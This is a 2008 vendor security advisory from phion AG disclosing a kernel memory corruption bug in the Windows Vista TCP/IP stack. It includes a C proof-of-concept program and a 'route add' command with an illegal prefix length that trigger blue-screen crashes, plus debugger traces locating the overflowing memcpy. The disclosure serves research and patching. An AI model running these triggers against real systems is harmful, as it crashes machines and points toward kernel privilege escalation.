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  Microsoft Windows Vista memory corruption

From:Thomas Unterleitner <t.unterleitner_(at)_phion.com>
Date:20.11.2008
Subject:Microsoft VISTA TCP/IP stack buffer overflow

phion Security Advisory 21/10/2008

Microsoft VISTA TCP/IP stack buffer overflow

Summary
-----------------------------
Microsoft Device IO Control wrapped by the iphlpapi.dll API shipping with Windows Vista 32 bit and
64 bit contains a possibly exploitable, buffer overflow corrupting kernel memory.

Affected Systems
-----------------------------

Using the sample program it was possible to verify this issue on following operating systems and
configurations:

*       Microsoft Windows Vista Enterprise 32 bit & 64 bit
*       Microsoft Windows Vista Ultimate 32 bit & 64 bit

It is very likely that other versions of Windows Vista are affected by this issue.

This issue did not occur on Windows XP.

Installation of Service Pack 1 and/or security updates had no effect in regards to resolve the
random crashes.

To execute either the sample program or the route-add command, the user has to be member of the
Network Configuration Operators group or the Administrators group.

Since this buffer overflow overwrites kernel memory, it could be possible that members of the
Network Configuration Operator group exploit this and take control over the operating system without
any restriction.

Impact
-----------------------------
1.      When adding a route entry to the IPv4 routing table using the method CreateIpForwardEntry2
and passing an illegal value greater than 32 [2] for the destination PrefixLength member in the
DestinationPrefix structure contained in the MIB_IPFORWARD_ROW2 structure [3], kernel space memory is
being corrupted resulting in random blue screen crashes. The crash does not always occur instantly
after executing the provided sample program; it may take a while until the corrupted memory is
accessed, causing the operating system to crash with a blue screen. It seems that larger illegal
values [2] trigger the crash earlier, during research in our labs it proved that passing the illegal
values 129 and 255 accelerates the occurrence of the crash.

2.      In addition we were able to reproduce this issue without the sample program, using the built
in "route add" command. It seems the "route-add" uses the same method as our sample program, hence
creates the same buffer overflow when calling it with an illegal value for the network mask. The
syntax we used in the command line is as follows:

         route add 1.2.3.4/240 4.3.2.1


This buffer overflow could be exploited to inject code, hence compromising client security.

Remedy
------------
No remedy available from vendor as of November 10, 2008.

Workaround for netfence entegra 1.0 -1.2
---------------------------------------------------
For netfence entegra, phion recommends to use the following workaround:
Install the hotfix provided by phion AG, which is available to all customers and partners for
download on the myphion site [4]. This hotfix will replace the existing vista.dll in the phion
installation directory, with the newer version 1.0.0.1.


Reported
------------
This vulnerability was first reported to Microsoft on, 22nd October 2008 15:20 (GMT +2).

Acknowledgements
-----------------------------
This vulnerability has been discovered by Marius Wachtler, Michael Burgbacher, Carson Hounshell,
Michael Craggs and Thomas Unterleitner on behalf of phion AG.

Contact Information
-----------------------------
  phion AG can be reached via:
     office@phion.com / http://www.phion.com

  Thomas Unterleitner can be reached via:
     t.unterleitner@phion.com

References
-----------------------------
[1] phion AG - http://www.phion.com/
[2] MSDN IP_ADDRESS_PREFIX  structure - http://msdn.microsoft.com/en-us/library/aa814439(VS.85).aspx
[3] MSDN MIB_IPFORWARD_ROW2 - a http://msdn.microsoft.com/en- us/library/aa814494(VS.85).aspx
[4] Myphion - http://www.phion.com/INT/support/Myphion/Pages/default.aspx

Exploit
-----------------------------
See Appendix A for sample code and Appendix B for research results.

Disclaimer
-----------------------------
There are NO warranties, implied or otherwise, with regard to this information or its use. Any use
of this information is at the user's risk. In no event shall the author/distributor (phion AG) be
held liable for any damages whatsoever arising out of or in connection with the use or spread of this
information.

Appendix A - Sample source code

#define _WIN32_WINNT 0x0600
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2ipdef.h>
#include <iphlpapi.h>

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char** argv)
{
       DWORD                      dwStatus;
       MIB_IPFORWARD_ROW2 route;
       
       if (argc != 3)
       {
               printf("Usage: %s <ifNum> <numOfBits>\n\n", argv[0]);
               return -1;
       }

       InitializeIpForwardEntry(&route);       

       route.InterfaceIndex = atoi(argv[1]);
       route.DestinationPrefix.Prefix.si_family = AF_INET;

       route.DestinationPrefix.Prefix.Ipv4.sin_addr.s_addr = inet_addr("1.2.3.0");     
       route.DestinationPrefix.Prefix.Ipv4.sin_family = AF_INET;

       route.DestinationPrefix.PrefixLength = atoi(argv[2]);
       
       route.NextHop.Ipv4.sin_addr.s_addr = inet_addr("11.22.33.44");  
       route.NextHop.Ipv4.sin_family       = AF_INET;

       route.SitePrefixLength          = 0;

       route.Protocol                  = MIB_IPPROTO_NETMGMT;          
       route.Origin                            = NlroManual;
       route.ValidLifetime             = 0xffffffff;
       route.PreferredLifetime         = 0xffffffff;
       route.Metric                            = 1;
       
       dwStatus = CreateIpForwardEntry2(&route);
       return dwStatus;
}



Appendix B - Research results

After further research we where able to narrow down the issue
and can provide the reason and location of the buffer overflow.

======== Summary ========

The function netio!PtpCreateTrieNode allocates 32 bytes using
the method ExAllocatePoolWithTag, as a buffer. Next the function
netio!PtpCopyPartialKeys tries to copy memory into the previously
allocated buffer using an offset of 24 bytes and the illegal
value as number of bits to be copied. Since this value can be
bigger than 8 bytes the amount of memory copied is greater than
the buffer, overwriting surrounding kernel memory.


======== Parameters ========

CreateIpForwardEntry2 was called with

DestinationPrefix.Prefix       = "1.2.3.4"
DestinationPrefix.PrefixLength = 0xEE


======== Callstack ========

934b7a00 85a1b1bb 00000020 837100ee 934b7ac4 NETIO!PtpCreateTrieNode+0x20
934b7a34 85a6211f 842f4ed0 934b7ac4 837100ee NETIO!PtInsertEntry+0x59
934b7a5c 85aa6fe4 00000000 934b7ac4 837100ee tcpip!IppCreateUnicastRoute+0xf0
934b7ae8 85a5d121 00000001 858b6278 84d74ce8 tcpip!IppValidateSetAllRouteParameters+0x217
934b7b64 85a18a29 836c134c 00000000 92a84a70 tcpip!Ipv4SetAllRouteParameters+0x1d1
934b7ba4 8a844551 00000001 92a326b4 00000000 NETIO!NsiSetAllParametersEx+0xbd
934b7bf0 8a844eb8 00000000 836c1330 836c1378 nsiproxy!NsippSetAllParameters+0x1b1
934b7c14 8a844f91 92a32601 00000000 8371d290 nsiproxy!NsippDispatchDeviceControl+0x88
934b7c2c 818f0053 8590b448 92a32698 92a32698 nsiproxy!NsippDispatch+0x33
934b7c44 81a80515 8371d290 92a32698 92a32708 nt!IofCallDriver+0x63
934b7c64 81a80cba 8590b448 8371d290 0027f700 nt!IopSynchronousServiceTail+0x1d9
934b7d00 81a6a98e 8590b448 92a32698 00000000 nt!IopXxxControlFile+0x6b7
934b7d34 8188ba7a 00000044 00000048 00000000 nt!NtDeviceIoControlFile+0x2a
934b7d34 77529a94 00000044 00000048 00000000 nt!KiFastCallEntry+0x12a
0027f68c 77528444 777214b9 00000044 00000048 ntdll!KiFastSystemCallRet
0027f690 777214b9 00000044 00000048 00000000 ntdll!ZwDeviceIoControlFile+0xc


======== Disassembly with commands ========

NETIO!PtpCreateTrieNode:
mov     edi,edi
push    ebp
mov     ebp,esp
push    edi
mov     edi,dword ptr [ebp+8]
lea     eax,[ebp+8]
push    eax
push    dword ptr [edi+4]
push    18h
call    NETIO!RtlULongAdd (85a1675d)
test    eax,eax
jl      NETIO!PtpCreateTrieNode+0x1b
push    esi
push    74704D4Eh
push    dword ptr [ebp+8]             ; = 0x00000020
push    0
call    ExAllocatePoolWithTag         ; eax = ExAllocatePoolWithTag(0, 0x20, 0x74704D4E, esi);
mov     esi,eax                       ; = 0x83716380 allocated buffer address
test    esi,esi
je      NETIO!PtpCreateTrieNode+0x6d
push    dword ptr [ebp+8]             ; = 0x00000020    
push    0
push    esi                           ; 0x83716380 allocated buffer address
call    NETIO!memset (85a10543)       ; memset((char*)0x83716380, 0, 0x20)
mov     eax,dword ptr [ebp+14h]
mov     dword ptr [esi],eax
mov     eax,dword ptr [ebp+18h]
mov     dword ptr [esi+0Ch],eax
mov     dword ptr [eax],esi
mov     eax,dword ptr [ebp+0Ch]
and     word ptr [esi+14h],0
add     esp,0Ch
push    eax                           ; = 0x837100ee
                                     ; the lower word contains our PrefixLength (0x00EE)
push    dword ptr [ebp+10h]           ; = 0x934b7ac4 contains our ip
                                     ; 934b7ac4  01 02 03 04 00 00 00 00-00 13 6c 83 48 7b 4b 93
                                     ; 934b7ad4  78 62 8b 85 00 13 6c 83-48 13 6c 83 78 00 8b 85
                                     ; 934b7ae4  b9 9a fb 16 64 7b 4b 93-21 d1 a5 85 01 00 00 00
mov     word ptr [esi+16h],ax
lea     eax,[esi+18h]                 ; esi unchanged, holds the alloc. buffer address (=0x83716380)
push    eax                           ; = 0x83716398 add offset of 0x18 bytes to the allocated
buffer
call    NETIO!PtpCopyPartialKeys      ; PtpCopyPartialKeys(0x83716380+0x18, 0x934b7ac4, PrefixLength)
inc     dword ptr [edi+8]
mov     eax,esi
pop     esi
pop     edi
pop     ebp
ret     14h
nop
nop
nop
nop
nop


NETIO!PtpCopyPartialKeys:
mov     edi,edi
push    ebp
mov     ebp,esp
movzx   eax,word ptr [ebp+10h]        ; = 0x00ee  PrefixLength in bits
add     eax,7
shr     eax,3
push    eax                           ; 0x0000001e PrefixLength in bytes
push    dword ptr [ebp+0Ch]           ; 0x934b7ac4 src buffer
push    dword ptr [ebp+8]             ; 0x83716398 dst buffer
                                     ; 83716398  00 00 00 00 00 00 00 00-05 00 06 04 45 76 65 ee
                                     ; 837163a8  01 00 00 00 01 00 00 00-78 81 15 83 00 00 00 00
                                     ; 837163b8  18 68 f0 8a 00 00 00 00-01 00 04 00 01 00 00 00
                                     ;
------------------------------------------------------------------
call    NETIO!memcpy                  ; memcpy(0x83716398, 0x934b7ac4, 0x0000001e) // BUFFER
OVERFLOW !!!!
                                     ;
------------------------------------------------------------------
                                     ; 83716398  01 02 03 04 00 00 00 00-00 13 6c 83 48 7b 4b 93
                                     ; 837163a8  78 62 8b 85 00 13 6c 83-48 13 6c 83 78 00 00 00
                                     ; 837163b8  18 68 f0 8a 00 00 00 00-01 00 04 00 01 00 00 00
                                     ; compare the byte values with the src buffer printed before
add     esp,0Ch
pop     ebp
ret     0Ch
neg     ecx
push    ecx

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